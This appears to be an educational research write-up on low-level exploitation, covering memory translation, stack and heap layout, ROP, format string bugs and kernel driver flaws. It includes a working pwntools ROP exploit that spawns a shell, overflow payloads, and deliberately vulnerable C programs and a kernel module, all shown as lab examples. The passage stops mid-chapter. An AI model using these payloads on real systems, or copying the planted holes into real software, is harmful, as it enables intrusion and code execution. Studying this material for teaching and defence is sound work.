Introduction and Scope
Here’s the core question driving this whole project: how do software and hardware actually interact once you strip away the abstraction layers that normally hide the messy details from you? Compilers, operating systems, and runtimes exist precisely so you can forget about page tables, cache lines, and instruction pipelines while you get work done. Attackers, and the researchers trying to stay ahead of them, don’t get that luxury. Every exploit involving memory corruption, firmware, or a leaky microarchitectural feature lives exactly at that seam between the code you wrote and the silicon actually running it. This research examines that seam systematically, aiming to produce techniques reproducible enough to be useful, rigorous enough to be academically sound, and constrained enough to stay ethically defensible.
This matters more today than it did a decade ago because computing has gotten wildly heterogeneous. You’re not defending one flavor of x86 server anymore. You’re defending cloud VMs sharing a host with strangers’ workloads, mobile systems-on-chip juggling a dozen coprocessors, embedded microcontrollers running for years without a patch, and specialized accelerators that almost nobody outside the vendor fully understands. Vulnerabilities at the hardware-software interface have an annoying habit of walking straight past security controls designed around a much cleaner, software-only threat model. Getting defenses that actually hold up requires research connecting theoretical models (this is how the hardware behaves) to something measurable, not just plausible-sounding threat narratives.
So this investigation organizes around a few concrete questions rather than a vague mandate to “look at security.” First: how well do today’s mitigations, stack canaries, ASLR, CFI, and the rest, actually hold up when an attacker combines a side channel with fault injection instead of leaning on either alone? Multi-vector attacks are exactly where “solved” problems have a way of quietly coming back to life. Second: where do firmware update mechanisms across different vendors and platforms keep repeating the same mistakes, and is there a common root cause worth documenting? Third: can a standardized, partly automated pipeline meaningfully cut the time it takes to build a working low-level proof of concept without sacrificing safety or legal compliance, or is that a false economy?
Every experimental phase in this project starts with an explicit hypothesis and a falsifiable success criterion, because “I got it to work once on my machine” is an anecdote, not a result. That discipline is what turns a pile of interesting hacks into something someone else can actually build on and trust.
To keep the scope tractable, and legal, the platform list stays deliberately narrow: x86_64, ARM across both the A-profile and M-profile families, and RISC-V, plus a handful of commodity microcontrollers and IoT devices. Anything requiring vendor cooperation or access to proprietary hardware the team doesn’t own outright is off the table unless explicit authorization is secured first. Destructive testing, illegal testing, and anything with uncontrolled real-world side effects are hard nos.
What comes out the other end of this project is a project plan, a formal ethics and disclosure policy, reproducible proof-of-concept exploits, curated datasets, purpose-built tooling, and detailed lab configuration notes that spell out exactly what environment and conditions each result depends on. That last part matters more than it sounds, since a lot of low-level exploit work is notoriously sensitive to timing, compiler version, and even ambient temperature. Without careful environment documentation, “reproducible” is just a word people put in the abstract.
Ethics isn’t a footnote here, it’s load-bearing. Every experiment follows a formal ethics statement ruling out destructive testing, committing to responsible vendor disclosure, and treating sensitive artifacts (private keys, vendor secrets, working exploit primitives) with real care before anything gets published. Public datasets and proofs of concept get sanitized to strip vendor-specific secrets and identifying information before release. Physical experiments follow standard electrical safety practice and applicable law, and nothing with uncontrolled environmental impact happens without explicit sign-off.
Success gets measured on two axes. Technically, that means proofs of concept that reproduce reliably, mitigation evaluations you can actually quantify, and at least one genuinely novel technique or tool that beats the state of the art on some measurable dimension rather than just a rehash with a new name. Procedurally, it means shipping reproducibility packages, running real coordinated disclosures with vendors, and getting the work in front of peer review or at least serious technical scrutiny.
None of this happens in a vacuum, so the constraints matter as much as the goals. Time and budget shape which hardware gets bought and how deep the physical testing can go. Legal requirements mean every target device has to be owned by the team or explicitly authorized, with export control rules applied where relevant. Risk gets managed actively: networked experiments stay sandboxed, physical rigs stay isolated from anything that matters, and kill switches get built in for anything that could misbehave. A living risk register tracks every identified risk along with its likelihood, impact, and mitigation, because “we’ll deal with it if it happens” is not a plan.
Background and Foundations
Before diving into exploits, it’s worth spending a chapter on the plumbing everything else depends on: computer architecture, operating systems, binary formats, assembly, and the handful of cryptographic ideas that keep showing up later. None of this is meant to be exhaustive, more like the minimum shared vocabulary needed so the experiments in later chapters make sense instead of reading like magic.
Start with memory translation, because almost everything downstream depends on it. Modern CPUs don’t let a running program touch physical memory directly. Instead, every address a program uses is a virtual address, and the hardware quietly rewrites it to a physical address on every single memory access. That indirection is what makes process isolation, swapping, and ASLR possible in the first place, but it also means an attacker who understands the translation mechanism gains a powerful lever: control the mapping, and you control what “address 0x1000” actually points to in physical memory. Here’s what a typical x86_64 virtual address looks like once you break it into the fields the hardware actually cares about:
Virtual Address: [63:48] Sign Extension | [47:39] PML4 | [38:30] PDP | [29:21] PD | [20:12] PT | [11:0] OffsetNotice that resolving a single virtual address takes four sequential dependent lookups (PML4, PDP, PD, PT) before you even get to the actual data. Each level is just an array of 512 entries, and each entry either points to the next table down or, at the PT level, to the final physical page. This is why a “page table walk” isn’t free: on a cold TLB (translation lookaside buffer, the CPU’s cache of recent translations), a single memory access from the program’s point of view can cost the hardware four extra memory reads before it even starts. That cost, and the caching the CPU does to avoid paying it every time, turns out to be exploitable in its own right, which is exactly what page-table-based side channels take advantage of later in this post. Here’s the walk expressed as ordinary C, stripped of all the caching and permission-checking hardware normally does for you:
// Simplified page table walk
uint64_t virtual_to_physical(uint64_t vaddr, uint64_t cr3) {
uint64_t pml4_index = (vaddr >> 39) & 0x1FF;
uint64_t pdp_index = (vaddr >> 30) & 0x1FF;
uint64_t pd_index = (vaddr >> 21) & 0x1FF;
uint64_t pt_index = (vaddr >> 12) & 0x1FF;
uint64_t* pml4 = (uint64_t*)cr3;
uint64_t* pdp = (uint64_t*)(pml4[pml4_index] & ~0xFFF);
uint64_t* pd = (uint64_t*)(pdp[pdp_index] & ~0xFFF);
uint64_t* pt = (uint64_t*)(pd[pd_index] & ~0xFFF);
return (pt[pt_index] & ~0xFFF) | (vaddr & 0xFFF);
}This translation mechanism is what makes ASLR and page-level memory protection possible at all: the operating system can hand every process a different, randomized virtual layout while the underlying physical pages stay wherever they actually are, and it can mark individual pages non-executable or read-only independent of what’s stored physically nearby. The Memory Management Unit does all of this transparently, which is exactly the problem from a security researcher’s perspective. Software has no visibility into it by default. Understanding the walk in detail is what lets you reason about kernel memory layout, build reliable exploits against it, and recognize when a timing difference you’re measuring is actually leaking information about page table state rather than something more interesting.
Once you can reason about where things live in memory, the next piece is understanding what the CPU is actually doing instruction by instruction, and there’s no substitute for reading assembly for that. Take a completely ordinary x86_64 function prologue and epilogue, the kind a compiler emits for almost any non-trivial function:
; Function prologue
push rbp
mov rbp, rsp
sub rsp, 0x20 ; Allocate 32 bytes stack space
mov [rbp-0x10], rdi ; Save first argument
mov [rbp-0x18], rsi ; Save second argument
; Function body
mov rax, [rbp-0x10]
mov rdi, rax
call strlen
mov [rbp-0x4], eax
; Function epilogue
mov eax, [rbp-0x4]
leave
retWalk through what those four prologue instructions are doing, because it matters for everything that follows. push rbp saves the caller’s frame pointer onto the stack so it can be restored later. mov rbp, rsp establishes a new frame pointer for this function, giving it a stable reference point even as rsp moves around during execution. sub rsp, 0x20 carves out local storage by literally just moving the stack pointer down (the stack grows toward lower addresses on x86_64). And the two mov instructions after that spill the function’s arguments, which arrived in registers per the calling convention, into that freshly carved-out space so they survive any subsequent function calls that might clobber those registers. The epilogue (leave followed by ret) undoes exactly this: leave is shorthand for restoring rsp and popping the saved rbp, and ret pops the return address off the stack into the instruction pointer. That’s the whole mechanism, and it’s also exactly the mechanism an attacker abuses: if you can overwrite what’s sitting where the return address will be popped from, you control where ret sends execution next. Laid out spatially, the stack during this function’s execution looks like this:
High Addresses
+-----------------+
| Return Address | <- RSP after call
+-----------------+
| Saved RBP | <- RBP after prologue
+-----------------+
| Local Var 1 | [rbp-0x10]
+-----------------+
| Local Var 2 | [rbp-0x18]
+-----------------+
| Local Var 3 | [rbp-0x4]
+-----------------+
| ... |
Low AddressesThis is worth internalizing before moving on, because nearly every classical exploitation technique later in this post is some variation on “corrupt something between the local variables and the saved return address, then control what happens when the function returns.” Stack buffer overflows overwrite that region directly. Return-oriented programming abuses the fact that ret will happily jump anywhere you point it, even into the middle of unrelated, already-existing code. Both techniques exist because of the layout shown above, not despite it.
Getting from “I can corrupt memory” to “I can do something useful with that” also requires understanding what the operating system is doing underneath the process. Every process gets an address space, a scheduling slot, and a boundary between what it’s allowed to touch directly and what it has to ask the kernel for through a system call. That kernel-user boundary is the whole point of privilege separation: a bug in your program should, in theory, only ever corrupt your program’s own memory. Understanding how process isolation, virtual memory, inter-process communication, and the scheduler actually work is what lets you reason about where that boundary might be weaker than it looks, and it’s a running theme once this post gets to kernel and hypervisor exploitation.
Binaries themselves are another layer worth understanding on their own terms, since code doesn’t run as source, it runs as whatever the loader mapped into memory from an ELF, PE, or Mach-O file. This research treats all three formats seriously: their headers, section layouts, symbol tables, and how dynamic linking actually resolves function calls at load time or lazily on first use. That last part matters a lot for exploitation, because techniques like GOT (Global Offset Table) overwrites and PLT (Procedure Linkage Table) manipulation only make sense once you understand that “calling a library function” is really “reading a pointer out of a table that gets patched at runtime,” and that table is itself just writable memory sitting somewhere predictable.
Cryptography shows up constantly in low-level work too, not as an abstract math topic but as the thing standing between an attacker and a secret. Side-channel attacks exist because cryptographic implementations, however mathematically sound, still have to run as real instructions on real silicon that leaks timing, power, and electromagnetic information. Secure boot and firmware verification live or die on whether signature checking is implemented correctly and whether the private key stayed private. This post treats symmetric and asymmetric primitives, hash functions, digital signatures, and key management as things to reason about specifically in terms of where a weak implementation or a sloppy integration turns solid math into an exploitable bug.
Finally, a word on vocabulary, because sloppy terminology causes real confusion in this field. A buffer overflow, a use-after-free, and an integer overflow are all “memory corruption,” but they fail in different ways, get triggered by different classes of bugs, and often need different exploitation primitives to turn into something useful. Building a consistent taxonomy up front, connecting software defect classes to the hardware interfaces and microarchitectural features they ultimately touch, saves a lot of hand-waving in the chapters that follow.
Tooling, Lab Infrastructure and Safety
None of the research described later works without a lab that’s set up to be reproducible, safe, and legally boring. It’s tempting to skip straight to the exploits, but a huge amount of what separates a real research result from “it worked once, trust me” is boring infrastructure decisions made ahead of time.
The first big fork in the road is virtual machines versus bare metal, and honestly, most of the work in this post happens on VMs for good reason. A hypervisor like QEMU, VirtualBox, or VMware gives you instant snapshots, so you can crash a kernel a hundred times in a row and roll back to a clean state in seconds instead of re-flashing hardware. That snapshot-and-rollback loop is what makes iterative exploit development tractable at all, since most exploits don’t work on the first fifty tries. Bare metal, on the other hand, is where you have to go the moment timing matters at a level a hypervisor can’t faithfully reproduce, things like cache timing attacks, firmware flashing, or physical fault injection, because a VM’s virtualized clock and cache behavior just don’t match silicon closely enough to trust the results. The practical answer isn’t “pick one,” it’s “develop the exploit logic on a VM where iteration is cheap, then validate on bare metal where the allocator and timing behavior are real.”
Beyond the compute environment, embedded and firmware research needs actual physical targets, so the lab keeps a rotating set of commodity development boards: Raspberry Pi, BeagleBone, STM32, ESP32, the usual accessible suspects. Alongside those sit the instruments that make hardware observable in the first place: logic analyzers and oscilloscopes to see what’s happening on a bus or a power rail, programmable power supplies for controlled voltage manipulation, and JTAG/SWD adapters for direct debug access into a chip. None of this needs to be exotic or expensive to get started, but everything in the lab stays dedicated to research, never repurposed from something in production, because you really don’t want your test rig and your daily driver sharing a power supply.
On the software side, the toolkit splits roughly into inspection tools and analysis tools. GDB, OpenOCD, and LLDB handle the moment-to-moment work of setting breakpoints and inspecting memory and registers while something is actually running. radare2, Ghidra, and IDA Pro handle the slower, more thorough work of statically pulling a binary or firmware image apart to understand its structure before you ever run it. On top of those, binary instrumentation frameworks, symbolic execution engines, and fuzzers let you throw automation at the problem, generating and exploring huge numbers of execution paths or inputs that would take forever to try by hand, with emulators and hardware interfacing libraries rounding things out for targets you can’t or don’t want to run on real silicon yet.
Reproducibility is treated as a first-class requirement rather than a nice-to-have, because low-level exploits are exactly the kind of result that looks solid until someone else tries to run it on a slightly different kernel build and it silently stops working. That’s why lab infrastructure leans on version-controlled images, containers, and VM snapshots: the goal is that any proof of concept can be re-run months later under conditions that are provably identical, not just “close enough.” Automation scripts handle provisioning, dependency installation, and harness deployment so setting up an environment isn’t a multi-hour manual ritual every time, and CI pipelines re-run exploit tests and firmware analyses automatically to catch regressions before they quietly poison a result.
Safety runs on two tracks here: physical and legal. Physically, that’s the unglamorous stuff, ESD precautions, careful wiring, insulated workspaces, knowing how to actually use the instruments rather than just plugging them in, all of which protects both the researcher and the (often expensive) equipment. Legally, it means actually knowing the regional rules around electromagnetic emissions, radio spectrum use, and device tampering before running an experiment that touches any of those, rather than finding out after the fact. Every hazardous experiment gets isolated from the rest of the lab, documented properly, and given an emergency stop path, particularly anything involving fault injection, where “it’s still glitching after I meant to stop it” is a genuinely bad afternoon.
Memory Corruption and Classical Exploits
If the previous chapter was about vocabulary and mental models, this one is where the mental models start doing actual work. Memory corruption bugs are the oldest class of low-level vulnerability there is, and they’re still relevant today for a slightly depressing reason: C and C++ still don’t enforce memory safety at the language level, so every manual buffer size calculation and every raw pointer is a place where a programmer’s mental model of memory can quietly diverge from what the hardware is actually doing. This chapter walks the progression that basically every memory corruption exploit follows: find a spot where a bug lets you write outside where you’re supposed to, turn that into something more useful like an information leak or an arbitrary read or write, and eventually turn that primitive into full control over what the program executes next.
Start with the simplest possible case, a classic stack buffer overflow, because it’s the clearest illustration of the stack layout from the previous chapter actually being abused:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vulnerable_function(const char* input) {
char buffer[64];
printf("Buffer address: %p\n", (void*)buffer);
strcpy(buffer, input); // No bounds checking
}
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}The bug here is strcpy(buffer, input). It happily copies as many bytes as input contains, with zero regard for the fact that buffer only has room for 64. Feed it a longer string and it keeps writing straight past the end of buffer, into whatever happens to sit after it on the stack, which, per the layout from the last chapter, is eventually the saved return address. To actually see this happen rather than just reason about it abstractly, the binary needs to be compiled with several of the compiler’s own protections turned off on purpose, since modern toolchains fight you here by default:
gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.cEach flag is disabling a specific defense: -fno-stack-protector removes the canary check, -z execstack makes the stack executable again (normally it isn’t), and -no-pie fixes the binary’s load address instead of randomizing it. None of these are things you’d ship in production, but stripping them away one at a time is a genuinely useful exercise, because it shows you exactly what each mitigation was preventing. With protections off, GDB makes the overflow visible directly on the stack:
gdb ./vuln
(gdb) break vulnerable_function
(gdb) run $(python -c "print 'A'*72 + 'BBBBBBBB'")
(gdb) x/10gx $rsp
0x7fffffffe030: 0x4141414141414141 0x4141414141414141
0x7fffffffe040: 0x4141414141414141 0x4141414141414141
0x7fffffffe050: 0x4141414141414141 0x4141414141414141
0x7fffffffe060: 0x4141414141414141 0x4242424242424242 # Overwritten return address
0x7fffffffe070: 0x0000000000000000 0x00007ffff7a03c87Look at the memory dump above and you can see exactly where the A padding ends and the attacker-controlled bytes (0x4242424242424242, the classic “BBBBBBBB” marker) land right where the saved return address should be. That’s the entire exploit primitive in one line: the As are just filler to reach the right offset, and the Bs are a stand-in for wherever you actually want execution to jump. Swap those Bs for a real address, whether it’s shellcode sitting in a still-executable stack or, more realistically today, the entry point of a ROP chain, and you’ve hijacked control flow. This exact mechanic (overflow past a fixed-size local buffer, overwrite the saved return address, redirect execution) works basically the same way on x86_64, ARM, and RISC-V, even though calling conventions and register names differ.
Of course, real targets rarely leave the door this open. Stack canaries, ASLR, and NX/DEP were all invented specifically to close off this exact attack path, and together they force a lot more work onto the attacker: a canary means you need to either leak its value or avoid overwriting it, ASLR means you don’t actually know where anything useful lives in memory until you leak an address, and NX/DEP means you can’t just drop shellcode onto the stack and jump to it because the stack isn’t executable anymore. That’s precisely why ROP chain construction, covered later in this chapter, became the default technique instead of straightforward code injection: it reuses code that’s already marked executable, sidestepping NX entirely.
Heap corruption is the other major branch of memory corruption, and it’s a meaningfully different beast because the heap isn’t a simple stack of frames, it’s a set of allocator data structures that the allocator itself trusts implicitly. Corrupt those structures and you’re not just overwriting a return address, you’re potentially tricking the allocator into handing out a pointer to memory it shouldn’t. On Linux, glibc’s allocator (historically called ptmalloc) organizes freed memory into several different “bins” by size, and understanding those bins is the whole key to heap exploitation:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct chunk {
size_t prev_size;
size_t size;
struct chunk* fd;
struct chunk* bk;
};
int main() {
void* chunks[4];
// Allocate chunks
for (int i = 0; i < 4; i++) {
chunks[i] = malloc(128);
printf("Chunk %d: %p\n", i, chunks[i]);
}
// Free chunks to populate fastbins
for (int i = 0; i < 4; i++) {
free(chunks[i]);
}
// Fastbins now contain: chunk3 -> chunk2 -> chunk1 -> chunk0
void* new_chunk = malloc(128);
printf("New chunk: %p (should be chunk3: %p)\n", new_chunk, chunks[3]);
return 0;
}The example above allocates four 128-byte chunks and immediately frees all four, which lands them on a “fastbin,” a simple singly-linked free list the allocator uses for quick reuse of small chunks. Free them in order 0, 1, 2, 3 and the fastbin ends up linked in reverse, so the next malloc(128) hands back chunk 3 first, last-in-first-out. That ordering isn’t a curiosity, it’s the mechanism behind classic exploitation techniques like fastbin dup: if you can trick the allocator into freeing the same chunk twice, or corrupt the forward pointer sitting inside a freed chunk, you can make a future malloc call return a pointer to somewhere you control rather than somewhere the allocator intended. That works because freed chunks store their linked-list pointers inside the same memory that used to hold (and will again hold) user data. Here’s the chunk header layout that makes this possible:
+----------------+----------------+
| Previous Size | Size | <- chunk header
|----------------+----------------+
| Forward Pointer (fd) | <- user data starts here
|----------------+----------------+
| Back Pointer (bk) |
|----------------+----------------+
| ... |Return-oriented programming deserves a proper introduction here even though it gets a full worked example later, because it’s really the natural response to NX. Once the stack stops being executable, injecting your own shellcode stops working, so instead of injecting new code, ROP reuses code that’s already there and already marked executable. The trick is that x86_64 instructions aren’t required to be aligned to any particular boundary, so a long enough binary or shared library almost always contains short, useful instruction sequences ending in a ret purely by accident, sitting in the middle of some unrelated function. String enough of these “gadgets” together, each one ending in a ret that pops the next gadget’s address off the stack, and you can build arbitrary computation without ever writing new executable code. Finding those gadgets is mostly a solved problem today thanks to automated scanning tools, but building a reliable chain out of them still requires precise control over stack contents and, in almost every realistic scenario, an address leak first, since ASLR means you don’t know where any of this code actually lives until you find out at runtime.
Format string bugs deserve a mention too, since they’re a somewhat different animal: rather than a raw buffer overflow, they exploit a mismatch between the number of format specifiers a printf-family call expects and the number of arguments actually supplied. Pass user-controlled input directly as a format string (printf(user_input) instead of printf("%s", user_input)) and specifiers like %x or %p start reading whatever happens to be sitting on the stack where an argument should be, which is an instant information leak. Worse, %n writes the number of bytes printed so far to an address taken from the stack, which, combined with careful padding, turns a format string bug into an arbitrary memory write. It’s a strange bug class in that a single missing argument to printf can escalate all the way to full memory corruption.
Two more bug classes round out the classical picture. Integer overflows happen when a size calculation feeding into an allocation or a copy wraps around unexpectedly, for instance malloc(count * size) overflowing to a small number while the code then proceeds to write count elements into an undersized buffer. Type confusion is the object-oriented cousin of the same idea: if code treats a chunk of memory as one type when it’s actually laid out as another, particularly with virtual tables (vtables) in C++, an attacker who controls the underlying memory can potentially redirect virtual function calls to an address of their choosing.
Across all of these bug classes, the actual research methodology stays consistent, and it’s worth stating explicitly because it’s what keeps this from being trial and error. Reproduce the crash reliably first, before touching anything else, because an exploit built against a bug you can’t reliably reproduce is an exploit you can’t reliably trigger either. Then map the memory layout around the corruption point so you know exactly what you’re overwriting and with what. Then build the smallest possible primitive, an information leak, an arbitrary write, whatever the bug actually offers, rather than jumping straight to “get a shell.” Only then do you compose primitives into something that actually achieves code execution, refining as you go. And as a rule, that whole loop happens on a VM first, where snapshots make iteration cheap, with bare-metal validation only once the exploit logic is solid, since allocator behavior and timing can genuinely differ between the two.
Zoom out and the throughline across this whole chapter is that every mitigation exists to break one specific step in that chain. DEP (Data Execution Prevention) breaks “jump to injected shellcode,” which is why ROP exists. ASLR breaks “jump to a known address,” which is why information leaks became a mandatory first stage of almost every serious exploit. Stack canaries, hardened allocators, and control-flow integrity each raise the cost of a specific corruption primitive. None of them make exploitation impossible on their own, but stacked together they force attackers to chain multiple bugs and multiple bypasses, which is exactly the point, and exactly why the next chapter picks up where this one leaves off.
Modern Exploitation Techniques
The previous chapter ended on mitigations, so this one picks up the natural next question: given all of that, what does exploitation actually look like on a real, hardened, modern system? Short answer: it looks like chaining several smaller wins together rather than landing one clean hit. NX forces you into code reuse instead of code injection. ASLR forces you to leak an address before you can use one. Canaries force you to either leak their value or find a corruption path that never touches them. Control-flow integrity restricts where indirect branches are even allowed to land, though as we’ll get into, “restricts” isn’t the same as “eliminates,” and CFI implementations tend to have real gaps that a careful attacker can walk through.
Return-oriented and jump-oriented programming (ROP and JOP) are the direct answer to NX, and they’re worth walking through concretely rather than just describing in the abstract, because the mechanics matter. The core move is to overwrite the stack (or, for JOP, hijack an indirect jump) so that instead of returning to legitimate code, control lands on a carefully chosen instruction sequence somewhere in the existing binary or a loaded library. That sequence does something small and useful, then ends in a ret (or an indirect jump, for JOP), which pops the next address off the attacker-controlled stack and continues the chain. String enough of these gadgets together and you can load registers, call functions, and eventually get a shell, all without ever injecting a single new instruction. Here’s a complete, working example using pwntools that leaks a libc address through a puts call and then uses that leak to call system("/bin/sh"):
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Find gadgets
pop_rdi = 0x400713 # pop rdi; ret
ret = 0x4004ee # ret for stack alignment
# Leak libc address
payload = b'A' * 72
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main']) # Return to main for second stage
p = process('./vuln')
p.recvuntil(b'address: ')
buffer_addr = int(p.recvline(), 16)
info(f"Buffer at: {hex(buffer_addr)}")
p.sendline(payload)
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
info(f"Libc base: {hex(libc.address)}")
# Second stage: call system("/bin/sh")
payload2 = b'A' * 72
payload2 += p64(ret) # Stack alignment
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
payload2 += p64(libc.symbols['system'])
p.sendline(payload2)
p.interactive()Notice the script runs in two distinct stages, and that split isn’t incidental, it’s forced by ASLR. The first payload doesn’t try to spawn a shell at all. It uses a pop rdi; ret gadget to set up an argument, then calls puts on puts’s own GOT entry, which prints out puts’s actual runtime address. Since libc is loaded at a randomized base address but its internal layout is otherwise fixed, knowing where any one libc function landed is enough to compute where every libc function landed, including system. That’s the whole reason for leaking puts’s address before doing anything else: it converts “I don’t know where libc is” into “I know exactly where libc is,” which is what makes the second payload possible at all. The second payload then reuses the exact same overflow, but this time with real addresses, to call system("/bin/sh") directly. Spatially, that second payload is arranged like this on the stack, remembering that the stack grows downward, so the first thing written ends up at the lowest address and the last thing written, which gets used first, ends up highest:
+----------------+ High addresses
| system@libc |
+----------------+
| pop_rdi gadget |
+----------------+
| /bin/sh addr |
+----------------+
| ret gadget | # Stack alignment
+----------------+
| 'A' * 72 | # Padding
+----------------+ Low addressesWhen you can’t rely on landing exactly where you want through a precise leak, there’s a blunter but surprisingly effective alternative: spraying. Heap spraying allocates a huge number of objects, each stuffed with attacker-controlled bytes, in the hope that enough of memory ends up predictable that a somewhat-wrong pointer still lands somewhere useful. JIT spraying is the same idea applied to just-in-time compilers: feed the JIT carefully chosen “data” that, when compiled to machine code, happens to also be valid and useful as attacker-controlled instructions, then spray a lot of it into memory that’s marked executable because the JIT needed it to be. Neither technique needs precision, they trade reliability for probability, filling enough of the address space that a rough guess is good enough.
Whichever route you take, spraying or precise leaking, some form of information disclosure is basically mandatory once ASLR is in play, because you cannot jump to, call, or reuse an address you don’t know. The disclosure itself can come from a lot of different places: a format string bug printing out stack contents, a type confusion bug that lets you read a pointer where you expected a different type, a plain out-of-bounds read, or even a timing or cache-based side channel that infers memory layout indirectly without reading it directly at all. Format string bugs are one of the more direct routes, so it’s worth seeing one in action:
#include <stdio.h>
int main(int argc, char** argv) {
// Vulnerable format string
printf(argv[1]);
printf("\n");
// Demonstration of format string exploitation
int secret = 0xdeadbeef;
printf("Secret value: 0x%x\n", secret);
printf("Secret address: %p\n", &secret);
// Using format strings to leak stack values
printf("Stack values:\n");
for (int i = 0; i < 10; i++) {
printf("%p: %lx\n", (void*)((long)&secret + i*8),
*(long*)((long)&secret + i*8));
}
return 0;
}The vulnerable line is printf(argv[1]), passing attacker-controlled input directly as the format string instead of as data. Running the program with a format string full of %p specifiers demonstrates the leak directly: printf has no way of knowing those specifiers don’t correspond to real arguments, so it just keeps reading whatever the calling convention would have put arguments in, which in practice means reading straight down the stack:
./fmt_vuln "%p %p %p %p %p %p"
0x7ffd12345678 0x64 0x7f1234567890 0x7ffd123456a0 0xdeadbeef 0x1A lot of this work has also gotten less manual over the last decade, mostly thanks to three categories of tooling. Binary instrumentation frameworks let you watch memory accesses and control flow at runtime without modifying the target binary yourself. Coverage-guided fuzzing throws huge volumes of mutated input at a target and uses code coverage feedback to steer toward inputs that reach new, previously unexplored code paths, which is remarkably effective at finding the exact kind of edge-case bug a human reviewer tends to miss. Symbolic execution goes further still, treating program inputs as symbolic variables and exploring execution paths mathematically to generate concrete inputs that drive the program into a specific state you’ve asked for. None of these replace understanding the mechanics covered so far, but they dramatically cut down how much of the grunt work has to be done by hand.
It’s worth being honest that real-world exploit chains, especially against browsers and virtual machines, almost never rely on a single technique in isolation. A typical chain might use memory spraying to prepare a favorable layout, trigger a memory corruption bug to gain a foothold, use that foothold to leak addresses and defeat ASLR, and then finish with a ROP or JOP chain to actually execute code, sometimes needing to defeat a sandbox afterward as a separate stage entirely. Each stage in a chain like that individually bypasses one specific mitigation, which is exactly why modern exploit development looks less like “find the one bug” and more like systems engineering against a stack of defenses that only work when combined.
Kernel and Hypervisor Exploitation
Everything up to this chapter has been about userland, a single process corrupting its own memory. Once you break into kernel or hypervisor territory, the stakes change completely: a bug here doesn’t just corrupt one process’s data, it potentially hands an attacker control over the component that every other process, and in the hypervisor’s case every other virtual machine, implicitly trusts. That’s what makes kernel exploitation and VM escapes so consequential, and also why the bugs and the exploitation techniques look meaningfully different from userland.
A few things make privileged code genuinely harder to reason about than a normal application. It can touch physical memory and device registers directly, rather than going through the tidy virtual address space abstraction userland gets. Kernel pointers and page tables behave differently than their userland counterparts in ways that change what a leak or a corruption primitive is even worth. And concurrency gets dramatically messier: interrupts can fire at almost any point, work gets deferred into bottom halves and workqueues, and preemption means code you assumed would run atomically might not. That concurrency alone opens up an entire category of race-condition bugs that simply don’t exist in the same way in most single-threaded userland exploitation scenarios. On top of all that, debugging a live kernel is inherently more awkward than attaching a debugger to a userland process, and kernel address randomization adds the same “you don’t know where anything is” problem userland ASLR creates, just with higher stakes if you get it wrong.
Given all that, where do the actual bugs tend to live? Overwhelmingly, in the code paths that take input from userland and cross the privilege boundary: device drivers and their IOCTL handlers, because they exist specifically to let userland talk to hardware, and filesystems, network stacks, and paravirtualized device emulation, because all three involve parsing complex, attacker-influenced data formats deep inside privileged code. The recurring failure modes are depressingly consistent across all of these: copying data between user and kernel space without validating it properly, miscalculating a length somewhere in that path, or getting the synchronization wrong around a resource that’s supposed to be protected by a lock. Here’s a deliberately vulnerable kernel module that shows the first of those failure modes in its purest form:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#define DEVICE_NAME "vuln_driver"
#define IOCTL_CMD 0xDEADBEEF
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
char kernel_buf[64];
char __user *user_buf = (char __user *)arg;
if (cmd == IOCTL_CMD) {
// Vulnerable: no bounds checking
if (copy_from_user(kernel_buf, user_buf, 256)) {
return -EFAULT;
}
printk(KERN_INFO "Received: %s\n", kernel_buf);
}
return 0;
}
static struct file_operations fops = {
.unlocked_ioctl = device_ioctl,
};
static int __init driver_init(void) {
if (register_chrdev(60, DEVICE_NAME, &fops) < 0) {
printk(KERN_ALERT "Failed to register device\n");
return -1;
}
printk(KERN_INFO "Vulnerable driver loaded\n");
return 0;
}
static void __exit driver_exit(void) {
unregister_chrdev(60, DEVICE_NAME);
printk(KERN_INFO "Vulnerable driver unloaded\n");
}
module_init(driver_init);
module_exit(driver_exit);
MODULE_LICENSE("GPL");The bug is sitting right there in the comment: copy_from_user(kernel_buf, user_buf, 256) copies 256 bytes from userland into kernel_buf, which is only 64 bytes. That’s the exact same overflow pattern from the memory corruption chapter, just relocated into kernel context, which is what makes it so much more dangerous: this stack lives in kernel space, and whatever gets overwritten next belongs to the kernel, not to some sandboxed userland process. This same family of mistakes shows up in a handful of recognizable shapes throughout real kernel code: unchecked copies like the one above, integer overflows in a size calculation that lead to an undersized allocation being treated as if it were the requested (larger) size, use-after-free bugs where a kernel object gets freed but a stale reference to it sticks around and gets used later, and race conditions where the state a piece of code checked has changed by the time it actually acts on it (the classic check versus use gap). Type confusion and format string bugs turn up in kernel code too, just less often, since kernel code tends to be more disciplined about format strings than userland code typically is.
Debugging any of this requires actually running the target kernel somewhere you can attach to it, which is exactly what QEMU plus GDB gives you: a kernel running in an emulated machine, paused and waiting for a debugger to connect over a GDB stub.
qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -append "console=ttyS0 nokaslr" -s -S
# In another terminal
gdb vmlinux
(gdb) target remote :1234
(gdb) add-symbol-file vuln_driver.ko 0xffffffffc0000000
(gdb) break vulnerable_function
